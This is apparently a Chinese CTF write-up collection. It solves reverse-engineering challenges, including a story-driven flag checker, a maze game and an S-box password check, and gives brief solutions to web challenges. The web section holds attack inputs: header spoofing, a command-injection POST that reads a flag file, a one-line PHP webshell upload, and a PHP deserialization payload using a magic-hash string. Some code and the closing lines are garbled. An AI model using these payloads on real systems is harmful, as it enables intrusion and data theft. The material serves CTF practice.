### 《回忆安魂曲》--第二章：当记忆被割裂

出题人：h1m

解题过程：

```Python
flag = 'ISCTF{as_her_never_will_come_back!!}'
key =  'i_can_reverse_but_i_can_not_have_you'
a = []
for i in range(len(flag)):
    a.append(((ord(flag[i])^((i + 0x66) ^ 0x52))+6)^(ord(key[i])+i))
print(a)
arr = [234, 12, 26, 17, 246, 44, 29, 62, 23, 53, 49, 41, 244, 57, 57, 211, 195, 45, 0, 16, 48, 61, 204, 0, 211, 192, 75, 198, 17, 199, 41, 62, 186, 96, 400, 52]
hex_str = ''.join([f'\\x{hex(x & 0xFF)[2:].zfill(2)}' if x >= 0 else f'\\x{hex(256 + x)[2:].zfill(2)}' for x in arr])
print(hex_str)
# arr = [234, 12, 26, 17, 246, 44, 29, 62, 23, 53, 49, 41, 244, 57, 57, 211, 195, 45, 0, 16, 48, 61, 204, 0, 211, 192, 75, 198, 17, 199, 41, 62, 186, 96, 400, 52]
# key =  'i_can_reverse_but_i_can_not_have_you'
# flag = ''
# for i in range(len(arr)):
#     flag += chr(((arr[i]^(ord(key[i])+i))-6)^((i + 0x66) ^ 0x52))
# print(flag)
# print(len(flag))
#include <stdio.h>
#include <string.h>
#define BEGIN_OBFUSCATE(N) \
  void *__next[(N)+1];     \
  unsigned __n = 0;
#define END_OBFUSCATE     \
  __next[__n] = &&__end;  \
  __n = 0;                \
  goto *__next[__n++];    \
__end:
#define EXEC(stmt)        \
  {                       \
    __label__ skip, here; \
    goto skip;            \
  here:                   \
    stmt;                 \
    goto *__next[__n++];  \
  skip:                   \
  __next[__n++] = &&here; \
  }
unsigned char ans[] = "\xea\x0c\x1a\x11\xf6\x2c\x1d\x3e\x17\x35\x31\x29\xf4\x39\x39\xd3\xc3\x2d\x00\x10\x30\x3d\xcc\x00\xd3\xc0\x4b\xc6\x11\xc7\x29\x3e\xba\x60\x90\x34";
unsigned char key[] = "\x69\x5f\x63\x61\x6e\x5f\x72\x65\x76\x65\x72\x73\x65\x5f\x62\x75\x74\x5f\x69\x5f\x63\x61\x6e\x5f\x6e\x6f\x74\x5f\x68\x61\x76\x65\x5f\x79\x6f\x75";
//i_can_reverse_but_i_can_not_have_you
//XIUSEC{as_her_never_will_come_back!}
unsigned char enc(unsigned char c, int i) {
    BEGIN_OBFUSCATE(5);
    unsigned char o, k;
    EXEC(o = c);
    EXEC(o ^= ((i + 0x66) ^ 0x52));
    EXEC(o += 6);
    EXEC(k = key[i]);
    EXEC(o ^= (k + i));
    END_OBFUSCATE;
    return o;
}
int check(unsigned char* flag) {
    BEGIN_OBFUSCATE(3);
    int ok;
    EXEC(if (strlen(flag) != 36) return 1; );
    EXEC(ok = 1; );
    EXEC(
        for (int i = 0; i < 36; i++) {
            ok &= enc(flag[i], i) == ans[i];
        }
            );
    END_OBFUSCATE;
    return !ok;
}
int main() {
    BEGIN_OBFUSCATE(6);
    int r;
    unsigned char flag[100];
    EXEC(memset(flag, 0, sizeof(flag)); );
    EXEC(printf("想必你也做出上一个题目了，哈哈，可即使你找到了所谓的记忆也没用了，我会将她的记忆从你的脑中彻底删除，哈哈哈哈，你再也不会记得她了（恶魔的笑语）\n"); );
    EXEC(printf("这个装置会摧毁你的记忆大脑，让所有的一切都不复存在，哈哈哈哈，可怜人，再见咯！！！（任务，找到flag进行提交才能终止记忆被彻底删除）\n"); );
    EXEC(if (scanf("%99s", flag) != 1) return 1; );
    EXEC(r = check(flag); );
    EXEC(
        if (r == 0) {
            puts("提交成功，触发剧情：\n");
            puts("恶魔：你怎么找到那个？你为什么如此执着于你的记忆？这一切都已经成定局了\n");
            puts("CTFer：我也试图拼好一切回到过去，可是，在我这么多寻找中我发现了，其实无论结果怎么样，我享受了过程，而你，却要删除他们的一切记忆，这里的一切（注意：这里有个彩蛋1，找到可以理解剧情）\n");
            puts("恶魔：我在帮他们，帮他们解脱！！！\n");
            puts("CTFer：可他们总该去面对这一切，即使失败了，也要面对，可是你却无情的剥夺了给他们的记忆\n");
            puts("恶魔：你在放屁，你这家伙满嘴胡言，你也为我什么都没有了么，哈哈，我还有一个装置，我要将你们摧毁，啊啊啊啊\n");
            puts("？？？？一阵骚动，那个家伙现出原型，憎怒之魔出现了\n");
            puts("恶魔：我要彻底毁掉一切！！！\n");
            puts("请开始后面的挑战！！！\n");
        }
        else
            puts("达成坏结局：完不成的再见!");
    );
    END_OBFUSCATE;
    return 0;
}
ISCTF{as_her_never_will_come_back!!}
```

### 《回忆安魂曲》--第三章：逃不出的黑墙

出题人：h1m

解题过程：

```C
#include <stdio.h>  
#include <stdbool.h>  
#include <memory>
#define ROWS 5 
#define COLS 5 
char maze[ROWS][COLS] = {
    {'#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#'}
{'#','.','#','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','.','.','.','.'}
{'#','.','#','#','#','#','#','.','#','#','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','#','#','#','#','.'}
{'#','.','.','.','.','.','#','.','.','.','#','.','#','.','.','.','.','.','#','.','.','.','#','.','#','.','.','.','#','.'}
{'#','#','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','#','#','.'}
{'#','.','.','.','#','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','#','.','.','.'}
{'#','.','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','.','#','.'}
{'#','.','#','.','#','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.'}
{'#','.','#','#','#','.','#','.','#','#','#','.','#','#','#','#','#','.','#','#','#','#','#','#','#','#','#','.','#','#'}
{'#','.','#','.','.','.','#','.','.','.','#','.','.','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','.','.'}
{'#','.','#','.','#','#','#','#','#','.','#','#','#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','#','#','.'}
{'#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.'}
{'#','.','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','.','#','.'}
{'#','.','.','.','#','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.'}
{'#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','.','#','.','#','.','#','#','#','#','#','#','#','.','#','#'}
{'#','.','#','.','.','.','#','.','.','.','.','.','#','.','.','.','#','.','#','.','#','.','.','.','#','.','.','.','.','.'}
{'#','.','#','#','#','#','#','#','#','#','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','.'}
{'#','.','#','.','.','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.'}
{'#','.','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','#','#','.','#','.','#','.'}
{'#','.','.','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.'}
{'#','.','#','#','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','#','#','.','#','.'}
{'#','.','.','.','#','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.'}
{'#','#','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','.'}
{'#','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.'}
{'#','.','#','.','#','.','#','.','#','#','#','#','#','#','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','.'}
{'#','.','#','.','.','.','#','.','.','.','.','.','.','.','.','.','.','.','.','.','#','.','.','.','.','.','#','.','#','.'}
{'#','.','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','.','#','#','#','#','#','#','#','.','#','.','#','.'}
{'#','.','.','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','.','.','#','.','.','.','#','.'}
{'#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','#','#','#','#','.'}
{'#','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','.','.','.','.','#','.','.','.','.','.','.','.','.','.'}
};
bool isValidMove(int x, int y) {
    return (x >= 0 && x < ROWS && y >= 0 && y < COLS && maze[x][y] != '#');
}
void printMaze() {
    for (int i = 0; i < ROWS; i++) {
        for (int j = 0; j < COLS; j++) {
            printf("%c ", maze[i][j]);
        }
        printf("\n");
    }
}
void dark() {
    printf("突然一片白昼\n");
    printf("这又是哪，只见成百上千的人躺在一个个白色的床上\n");
    printf("他们的大脑周围插满了一根一根紫色的管子，正在往头上输入红色的液体\n");
    printf("你的头传来一阵剧痛，你下意识的摸摸自己的头，摸到的却是一个一个的洞口，刹那时，你顿感一阵眩晕，你明白了自己也曾经是他们的一员，但自己为什么不是在这里醒来，而是在另一个地方\n");
    printf("你走进去了，你愈加想要了解这到底发生了啥么，你走进了些\n");
    printf("你发现每个人躺在的床的面前，都有一张纸条，你仔细一看\n");
    printf("ally：已清除对母亲的记忆\n");
    printf("larry：已清除对妻子的记忆\n");
    printf("hook：已清除对孩子的记忆\n");
    printf("hanke：已清除对爷爷的记忆\n");
    printf("polly：正在清除对奶奶的记忆，60%\n");
    printf("niuniu：正在清除对女友的记忆，20%\n");
    printf("player：正在清除对女友的记忆，80%\n");
    printf("。。。。。。。。。。。。。\n");
    printf("ctfer：这里的实验就是清除他们的记忆吗？？？可恶，难怪我对她的记忆也在慢慢的流逝，不行，我不能让它们得场！！！\n");
    printf("突然一阵阵眩晕传来，你模糊的睁开眼，自己又回到了迷宫中，你摸摸自己的头，惊讶的发现，那一道道伤口任然在，这不是梦~！\n");
    printf("达成彩蛋1：caidan{this_will_be_a_secret}\n");
}
//59421
int main() {
    int x = 0, y = 0; // Starting position  
    char move;
    bool foundExit = false;
    bool foundExit1 = false;
    printf("ctfer：5****，这5个字符，我记起来了，是她告诉我的，她说是我们相见的密码，我怎么会不记得呢，可她现在消失了\n");
    printf("环顾着周围的四周，一片漆黑，难闻的空气里还夹杂着血腥味，到处都是迷雾，ctfer：这里到底是哪里，她去哪了？\n");
    printf("就这样摸着黑往前走着，突然来到了一扇大门前，上面写着：实验中心！！！\n");
    printf("ctfer：这。。。实验？我究竟被送往了哪里？\n");
    printf("走上前去往里看了看，这有块告示牌：请记住你的位置，不要在里面迷路奥！出口在***\n");
    printf("最后的字符已经模糊不堪了，但是你别无选择，咬咬牙，走！（任务：找到正确的路线，逃离迷宫)\n");
    printMaze();
    while (!foundExit) {
        printf("Current Position: (%d, %d)\n", x, y);
        printf("Enter move (w=up, s=down, a=left, d=right): \n");
        int a = scanf("%c", &move);
        getchar();
        int newX = x, newY = y;
        if (move == 'w' && isValidMove(x - 1, y)) {
            newX = x - 1;
        }
        else if (move == 's' && isValidMove(x + 1, y)) {
            newX = x + 1;
        }
        else if (move == 'a' && isValidMove(x, y - 1)) {
            newY = y - 1;
        }
        else if (move == 'd' && isValidMove(x, y + 1)) {
            newY = y + 1;
        }
        if (maze[newX][newY] == 'C') {
            dark();
            exit(0);
        }
        // Check if the new position is the exit  
        if (maze[newX][newY] == 'E') {
            foundExit = true;
        }
        else {
            // Mark the current position as visited  
            maze[x][y] = ' ';
            // Move to the new position  
            x = newX;
            y = newY;
            // Mark the new position as visited  
            maze[x][y] = 'P';
        }
    }
    printf("ctfer：呼呼呼，走出来了，太乱了，这是哪？\n");
    printf("我找到你了！（恶魔低语）\n");
    printf("砰！");
    printf("\n");
    return 0;
}
import random
def init_maze(width, height):
    # 初始化迷宫，所有墙都是0
    maze = [[0] * width for _ in range(height)]
    return maze
def is_valid(maze, x, y):
    # 检查坐标是否在迷宫范围内，并且是墙（0）
    if 0 <= x < len(maze[0]) and 0 <= y < len(maze):
        return maze[y][x] == 0
    return False
def carve_maze(maze, x, y):
    # 定义四个方向：右，下，左，上
    directions = [(0, 2), (2, 0), (0, -2), (-2, 0)]
    random.shuffle(directions)  # 打乱方向以得到更随机的迷宫
    for dx, dy in directions:
        nx, ny = x + dx, y + dy
        if is_valid(maze, nx, ny):
            # 打通通道
            maze[ny][nx] = 1
            maze[ny - dy // 2][nx - dx // 2] = 1  # 打通中间的墙
            # 递归地在相邻的块中继续挖
            carve_maze(maze, nx, ny)
def generate_maze(width, height):
    maze = init_maze(width, height)
    # 开始位置选择为左上角，但也可以随机选择
    start_x, start_y = 1, 1
    maze[start_y][start_x] = 1  # 开始位置设为通道
    # 使用DFS挖迷宫
    carve_maze(maze, start_x, start_y)
    return maze
def print_maze(maze):
    for row in maze:
        print(''.join(['#' if cell == 0 else '.' for cell in row]))
    # 生成并打印100x100迷宫
width, height = 100, 100
maze = generate_maze(width, height)
print_maze(maze)
#include <stdio.h>  
#include <stdbool.h>  
#include <memory>
#define ROWS 30
#define COLS 30 
//ssssddddddddssssssssssssaaaassssaaaawwwwwwwwwwww
char maze[ROWS][COLS] = {
    {'#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#'},
{ '#','P','#','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','.','.','.','.' },
{ '#','.','#','#','#','#','#','.','#','#','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','#','#','#','#','.' },
{ '#','.','.','.','.','.','#','.','.','.','#','.','#','.','.','.','.','.','#','.','.','.','#','.','#','.','.','.','#','.' },
{ '#','#','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','#','#','.' },
{ '#','C','.','.','#','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','#','.','.','.' },
{ '#','.','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','.','#','.' },
{ '#','.','#','.','#','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.' },
{ '#','.','#','#','#','.','#','.','#','#','#','.','#','#','#','#','#','.','#','#','#','#','#','#','#','#','#','.','#','#' },
{ '#','.','#','.','.','.','#','.','.','.','#','.','.','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','.','.' },
{ '#','.','#','.','#','#','#','#','#','.','#','#','#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','#','#','.' },
{ '#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.','.','.' },
{ '#','.','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','.','#','.' },
{ '#','.','.','.','#','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.' },
{ '#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','.','#','.','#','.','#','#','#','#','#','#','#','.','#','#' },
{ '#','.','#','.','.','.','#','.','.','.','.','.','#','.','.','.','#','.','#','.','#','.','.','.','#','.','.','.','.','.' },
{ '#','.','#','#','#','#','#','#','#','#','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','.','#','#','#','.' },
{ '#','.','#','.','.','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','#','.' },
{ '#','.','#','.','#','.','#','.','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','#','#','.','#','.','#','.' },
{ '#','.','.','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','#','.' },
{ '#','.','#','#','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','.','#','#','#','.','#','.' },
{ '#','.','.','.','#','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.','.','.','#','.','#','.','.','.','#','.' },
{ '#','#','#','#','#','.','#','.','#','#','#','#','#','#','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','.' },
{ '#','.','.','.','#','.','#','.','.','.','.','.','.','.','#','.','#','.','.','.','#','.','.','.','#','.','#','.','.','E' },
{ '#','.','#','.','#','.','#','.','#','#','#','#','#','#','#','.','#','#','#','.','#','.','#','#','#','#','#','.','#','.' },
{ '#','.','#','.','.','.','#','.','.','.','.','.','.','.','.','.','.','.','.','.','#','.','.','.','.','.','#','.','#','.' },
{ '#','.','#','#','#','#','#','#','#','#','#','#','#','#','#','#','#','.','#','#','#','#','#','#','#','.','#','.','#','.' },
{ '#','.','.','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','#','.','.','.','.','.','#','.','.','.','#','.' },
{ '#','.','#','#','#','#','#','#','#','.','#','.','#','.','#','#','#','#','#','.','#','.','#','#','#','#','#','#','#','.' },
{ '#','.','.','.','.','.','.','.','#','.','.','.','#','.','.','.','.','.','.','.','#','.','.','.','.','.','.','.','.','.' },
};
bool isValidMove(int x, int y) {
    return (x >= 0 && x < ROWS && y >= 0 && y < COLS && maze[x][y] != '#');
}
void printMaze() {
    for (int i = 0; i < ROWS; i++) {
        for (int j = 0; j < COLS; j++) {
            printf("%c ", maze[i][j]);
        }
        printf("\n");
    }
}
void dark() {
    printf("突然一片白昼\n");
    printf("这又是哪，只见成百上千的人躺在一个个白色的床上\n");
    printf("他们的大脑周围插满了一根一根紫色的管子，正在往头上输入红色的液体\n");
    printf("你的头传来一阵剧痛，你下意识的摸摸自己的头，摸到的却是一个一个的洞口，刹那时，你顿感一阵眩晕，你明白了自己也曾经是他们的一员，但自己为什么不是在这里醒来，而是在另一个地方\n");
    printf("你走进去了，你愈加想要了解这到底发生了啥么，你走进了些\n");
    printf("你发现每个人躺在的床的面前，都有一张纸条，你仔细一看\n");
    printf("ally：已清除对母亲的记忆\n");
    printf("larry：已清除对妻子的记忆\n");
    printf("hook：已清除对孩子的记忆\n");
    printf("hanke：已清除对爷爷的记忆\n");
    printf("polly：正在清除对奶奶的记忆，60%\n");
    printf("niuniu：正在清除对女友的记忆，20%\n");
    printf("player：正在清除对女友的记忆，80%\n");
    printf("。。。。。。。。。。。。。\n");
    printf("ctfer：这里的实验就是清除他们的记忆吗？？？可恶，难怪我对她的记忆也在慢慢的流逝，不行，我不能让它们得场！！！\n");
    printf("突然一阵阵眩晕传来，你模糊的睁开眼，自己又回到了迷宫中，你摸摸自己的头，惊讶的发现，那一道道伤口任然在，这不是梦~！\n");
    printf("达成彩蛋1：caidan{this_will_be_a_secret}\n");
}
//59421
int main() {
    int x = 1, y = 1; // Starting position  
    char move;
    bool foundExit = false;
    bool foundExit1 = false;
    printf("ctfer：5****，这5个字符，我记起来了，是她告诉我的，她说是我们相见的密码，我怎么会不记得呢，可她现在消失了\n");
    printf("环顾着周围的四周，一片漆黑，难闻的空气里还夹杂着血腥味，到处都是迷雾，ctfer：这里到底是哪里，她去哪了？\n");
    printf("就这样摸着黑往前走着，突然来到了一扇大门前，上面写着：实验中心！！！\n");
    printf("ctfer：这。。。实验？我究竟被送往了哪里？\n");
    printf("走上前去往里看了看，这有块告示牌：请记住你的位置，不要在里面迷路奥！出口在***\n");
    printf("最后的字符已经模糊不堪了，但是你别无选择，咬咬牙，走！（任务：找到正确的路线，逃离迷宫)\n");
    //printMaze();
    while (!foundExit) {
        int a = scanf_s("%c", &move);
        getchar();
        int newX = x, newY = y;
        if (move == 'l' && isValidMove(x - 1, y)) {
            newX = x - 1;
        }
        else if (move == 'o' && isValidMove(x + 1, y)) {
            newX = x + 1;
        }
        else if (move == 'v' && isValidMove(x, y - 1)) {
            newY = y - 1;
        }
        else if (move == 'e' && isValidMove(x, y + 1)) {
            newY = y + 1;
        }
        if (maze[newX][newY] == 'C') {
            dark();
            exit(0);
        }
        // Check if the new position is the exit  
        if (maze[newX][newY] == 'E') {
            foundExit = true;
        }
        else {
            // Mark the current position as visited  
            maze[x][y] = ' ';
            // Move to the new position  
            x = newX;
            y = newY;
            // Mark the new position as visited  
            maze[x][y] = 'P';
        }
    }
    printf("ctfer：呼呼呼，走出来了，太乱了，这是哪？\n");
    printf("我找到你了！（恶魔低语）\n");
    printf("砰！");
    printf("\n");
    return 0;
}
```

ooeeeeoooooovvoovvooeeooeelllleeooooeeeeooeeooeelleellllvvoovvlllleellvvvvllvvlleelllleeeeeeoovvvvooooeelleeooooooeelleeeeeeoooovvllvvoovvooooeeooeeoooovvooeeeeooeelllle

ISCTF{e920b34ba2ad1ac5e8f9edca57068ecc}

### 《回忆安魂曲》--第四章：退！初识凤仙儿

出题人：h1m

解题过程：

cpython的记录

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YzFhOGYwYzViM2QwODQ5MWM4MzkyZjc2ZjQ2ZGU2NmRfdTNRbmc0RW9wNzF0YWU3RzhVNm5zTzBta3ZxVEJ0bG9fVG9rZW46S2NGYWJSMm9ub1d2ckp4TVk0dWNkU0tiblZnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MmJjNWEwYjFjNmE5ZGY0YzNiNDg1ZmQ5NDI0OTIwZjhfZlNQaUhzMkhoTm45YkQ5azZzVTAzclo0SmpYelVTZHhfVG9rZW46V3ZsQ2JQeGhDb1lFdnd4MmtmbmNxdGVrbkVEXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

https://www.cnblogs.com/keep--fighting/p/18114495

运行命令用这个

gcc main.c -L/usr/lib/x86_64-linux-gnu -lpython3.10 -o main

gcc main.c -lpython3.10 -o main

不用指定也行

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=YTVkYTQzN2RlNGIyMzAzNWZiZDYzMTliOWY1NjA5YzZfUEM5NkJwblVrZzk3TEg4TVk2UXpJdnFIYklqWFVpN2xfVG9rZW46TllWc2JMSklTb1BhdFR4eHBkWmNFR3lEbmpnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

我们进行调试

![img](https://fcnjtga1ajb1.feishu.cn/space/api/box/stream/download/asynccode/?code=MDExNzc1YWQyYjllNTNjMzE0Zjg4NDRmMzNjYzNjNGNfRmNLZjNlb3JhYjNVOGVuNnMzOWx5WTNqeFVTUERtT1ZfVG9rZW46U2lKbmJpdlY5bzN3dlZ4dzBHOWNMN0dIbmtnXzE3NTYxNjc5NTA6MTc1NjE3MTU1MF9WNA)

https://blog.csdn.net/m0_73644864/article/details/134963574

发现这个才是最关键的

```Python
#test
import test

def main():
    print("恶魔：我要抓住你，你是逃不过的，我要将你的记忆一点一点榨干，哈哈哈，没人能逃出我的手掌心！！！\n")
    print("尽管你比那个庞然大物灵活，但是他的身躯足以毁灭周围的一切障碍物，你在他的面前就像是一只随时被抓住上的蝼蚁\n")
    print("ctfer：难道，今天就要交代在这里了吗，我还没有见到她呀，我不想死在这里！！！\n")
    print("未知声音：hi，快快，快过来！！！\n")
    print("你一个白衣女子出现在了你面前，她一把把你拉入一个小房间，房间里面有一个类似井口的东西\n")
    print("未知声音：从这里下去\n")
    print("尽管你内心充满了疑惑但是看见即将后面追来的怪物，你不得不跳了下去\n")
    print("奇怪的是当你进入井后，那个怪物并没有追来，甚至是没停在了房间前，它的眼睛充满了愤怒，但你也能看到，那眼神里面带着失落，一种异样的失落\n")
    print("凤仙儿：我叫凤仙儿，我也是被困在这里的人，那个家伙尝试删除我们这些实验品的记忆，不过我也不知道来了多久了，这个地方是我的秘密基地，那个怪物不知道为啥惧怕这里，这些天我一直徘徊在地底和地上找寻离开的办法\n")
    print("ctfer：我叫马**，很高心认识你，那你这些天有找到啥么？\n")
    print("凤仙儿：你过来这个房间，这里有你想要的。\n")
    print("进入房间，这里布满了灰尘，桌上有许多实验记录文件，这时凤仙儿递了一本给你，看看这个\n")
    print("实验笔记：这是第n次实验，今天博士又找到我们了他说0号病变实验品越来越狂燥了，我觉得太不可思议了，那些记忆不仅没有因为仪器而消除，反而让他起了副作用，变得越来越可怕\n")
    print("实验笔记2：我一般把实验记录放入保险箱中，密码通过我自己做的check器进行检测，哎，今天太累了，要先睡了\n")
    print("凤仙儿：就是这个，你能帮我解开么？也许里面的东西对我们逃出去有用，我得再去周围看看。\n")
    print("ctfer：好！我可是reverse手\n")
    print("任务：解开保险箱密码，拿到实验记录\n")
    user_input = input("")
    if len(user_input) != 16:
        print("密码长度不对")
        return 0
    if test.check(user_input)==1:
        print("恭喜主人您的密码正确！")
        test.say()
    else:
        print('错误！锁定！！！')

if __name__ == "__main__":
    main()
# 定义一个4x4的S-box
sbox = [
    1, 14, 4, 13,
    10, 2, 5, 8,
    7, 6, 9, 12,
    15, 3, 11, 0
]
# 定义一个4字节的密钥
key = 'H1m'
hack_data = [27, 16, 43, 29, 127, 46, 51, 102, 50, 1, 112, 50, 53, 101, 57, 1]
def check(str):
    flag = 1
    str1 = ''
    data = [0]*16
    for i in range(len(str)):
        str1 += str[sbox[i]]
    for i in range(len(str1)):
        data[i] = ord(str1[i]) ^ ord(key[i%len(key)])
    for i in range(len(data)):
        if data[i]!=hack_data[i]:
            flag = 0
    return flag

def say():
    print('打开保险柜：里面摆放着一个名为"DELETE-MEMORY"的文件和一个名为"0号病变实验者"的文件，其他还散落了一些笔记')
    print('DELETE-MEMORY：举世闻名的切斯特公司已经把目光注向我们，他们可能将推行我们研发能使人忘记烦恼的机器和药物，目前我们高层也已经和对方进行会晤，一切良好\n')
    print('若能推行，我们将闻名于世界！！！\n')
    print('我们是MEMORY公司，一直以来我们专注研究人类精神方面问题，我们看到了太多抑郁症患者，精神紊乱患者，还有因为情感，因为亲人去世而带来的痛楚而崩溃的患者等等，如果能想个办法消除这一切，那么是不是就可以让人快乐起来\n')
    print('我们开始为一些轻度患者进行实验\n')
    print('****取得阶段性成功******\n')
    print('我们开始了进一步研究，然后我们推出了一款叫做X-液的药物，配上我们新型机器x-box，我们现在就需要更多试验员来进行测验，若能通过****\n')
    print('切斯特公司为我们推来一名试验者。。。，说是只要这个通过了，我们将彻底合作！\n')
    print('0号实验者：这次的实验绝对保密，我们使用***公司提供的的***\n')
    print('姓名：韦恩  性别：男\n')
    print('年龄：22  职业：程序设计师\n')
    print('诊断：重度精神疾病，狂躁*，重度**\n')
    print('实验成效：\n')
    print('第一天：未通过\n')
    print('第二天：未通过\n')
    print('第三天：未通过\n')
    print('第n天：未通过\n')
    print('笔记：公司老总今天开始开会，针对0号病人若是再没有任何成就，我们将失去与切斯特合作的最好机会，我看见博士回来之后一脸惆怅\n')
    print('笔记：我看见博士和经理在谈论0号病人的事情，好像再说：****************\n')
    print('接下来的笔记好像残缺了，不过最后有一页\n')
    print('笔记：药物不仅对它的精神造成影响，甚至改造了它的身体，它不受控制了，他已然变成了一个恶魔，实验室遭到了摧毁，他们都没有幸免遇难，博士也不知道去哪了，我真的好害怕！！！\n')
    print('笔记：博士会有解药么？谁来救救我\n')
    print('所以博士在哪？0号实验者到底为什么会变得如此？怎么才能恢复原有的秩序？一切谜底，我们下季，再见！！！！（未完待续）\n')
    print('写在最后的话：剧情随着后面根据需要可能会对前四章进行一些二次更改，本人第一次写剧情，加之最近事多，不合理的地方或者要改进的地方请找我（qq：3078103411）（呜呜呜，大家轻点骂），最后，希望大家玩的愉快！！！\n')
    print('注意：前四章都是新手关，后续章节，题目难度将垂直上升！\n')
    print('see~you\n')
# 定义一个4x4的S-box
sbox = [
    1, 14, 4, 13,
    10, 2, 5, 8,
    7, 6, 9, 12,
    15, 3, 11, 0
]
# 定义一个4字节的密钥
key = 'H1m'
data = [0]*16
flag = ''
hack_data = [27, 16, 43, 29, 127, 46, 51, 102, 50, 1, 112, 50, 53, 101, 57, 1]
for i in range(len(hack_data)):
    hack_data[i] ^= ord(key[i%len(key)])
for i in range(len(hack_data)):
    data[sbox[i]] = hack_data[i]
for i in range(len(hack_data)):
    flag += chr(data[i])
print(flag)
```

## 五、web

### 25时晓山瑞希生日会

出题人：oSthing

题解： 很简单的http请求头

第一段

"你不是烤p！要是Project Sekai的客户端请求才能加入生日会"

很明显是ua头设置

```SQL
User-Agent: Project Sekai
```

第二段要从本地来就是XFF

```SQL
X-Forwarded-For: 127.0.0.1
```

最后一段日期

从网上查资料得到晓山瑞希的生日是8月27号，随便输入个日期格式发现回显要RFC 822格式，去网上搜一下格式得出最终日期

```SQL
Date: Tue, 27 Aug 2024 05:00:00 GMT
```

### 1z_php

出题人：J1ngHong

题解： 

POST： J=sort /f14g

### UP！UPloader

出题人：J1ngHong

题解： 

上传一句话木马到1.php，然后访问/uploads/f3b94e88bd1bd325af6f62828c8785dd(md5加密后的1.php)，用自己打上的木马打就行了。

### 天命人

出题人：J1ngHong

题解： 

GET：?J=QNKCDZO

POST： 

```Python
a:2:{i:0;O:11:"Tianmingren":2:{s:8:"tianming";O:15:"Dinghaishenzhen":2:{s:6:"Jindou";s:40:"一个筋斗能翻十万八千里！<br>";s:3:"yun";O:13:"Huoyanjinjing":2:{s:6:"huoyan";O:9:"Wuzhishan":3:{s:2:"wu";s:40:"俺老孙定要踏破这五指山！<br>";s:3:"zhi";N;s:4:"shan";N;}s:7:"jinjing";s:7:"QNKCDZO";}}s:3:"ren";N;}i:0;i:0;}
$key=new Tianmingren();
$key->tianming=new Dinghaishenzhen();
$key->tianming->yun=new Huoyanjinjing();
$key->tianming->yun->huoyan=new Wuzhishan();
$key->tianming->yun->jinjing="QNKCDZO";
echo "\n\n".serialize($key)."\n\n";
```

$$key1='a:2:{i:0;'.serialize$$`key).'i:0;i:0;}';`

```
echo $key1;
